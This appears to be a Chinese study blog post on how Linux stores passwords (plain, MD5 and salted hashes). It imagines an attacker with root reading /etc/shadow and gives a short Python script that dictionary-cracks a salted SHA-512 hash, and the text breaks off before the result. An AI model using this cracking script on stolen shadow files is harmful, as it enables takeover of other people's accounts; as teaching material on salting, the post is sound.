Linux密码加密方式之salt

今天学了关于Linux密码加密的方式,以及如何通过密文来暴力破解明文(需要强大的字典或者算力)

密码发展

密码从最开始的明文 -> 单向哈希加密 -> 带有盐的单向加密方式

最开始数据库中的数据

username password
admin 123

到后来的单向哈希加密

username password
admin 202cb962ac59075b964b07152d234b70

再到后来的带有盐的单向加密

username salf password
admin salf b3d513356bdf68b968b2eb69148cecdd

随着攻击者手里的彩虹表数据库越来越庞大,单纯的单向哈希加密已经不再安全了。

带有盐的单向加密,盐是有随机字符构成的,相当于攻击者对于每一种盐都需要单独的建立一张彩虹表。

从目前计算的算力上来看是不可能存在的,即使是单向MD5的彩虹表,只要你密码强度够高,长度够长,也能够达到相对安全。

所以自centos6.x版本之后,所有的操作系统密码文件中存放的都是带有盐的单向加密明文,而且密码文件只有root可读,所以密码已经可以说十分安全了。

现在假设这么一个场景,黑客A攻破了服务器,并提升到root权限,看到了/etc/shadow下经过加盐的单向散列密文,假设黑客A通过社工等方式,导出了管理员可能使用的100W个密码字典,且密码一定在这100W个字典当中,编写脚本算出管理员的密码:

编写如下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import crypt
def findPass(miwen,fDic):
s1 = miwen.split("$")
salf = "$"+s1[1]+"$"+s1[2]
with open(fDic) as f:
while True:
s = str(f.readline())
if(s == "" or s == None):
break
s = s.replace("\n","")
if crypt.crypt(s,salf) == miwen:
print "passwd: ",s
miwen = "$6$atZ9BSnD$A6Gv0KShgTuY471PzTnRRhruqsBLl6.8lca0jY0VLigQcqVsRcfk5rckEXBvT5TS.LNrK/Q2CZ4lZtzTpS.TE1"
fidc = "pass.txt"
findPass(miwen,fidc)

并且在pass.txt 中放入100W字典条目,可以得到密码: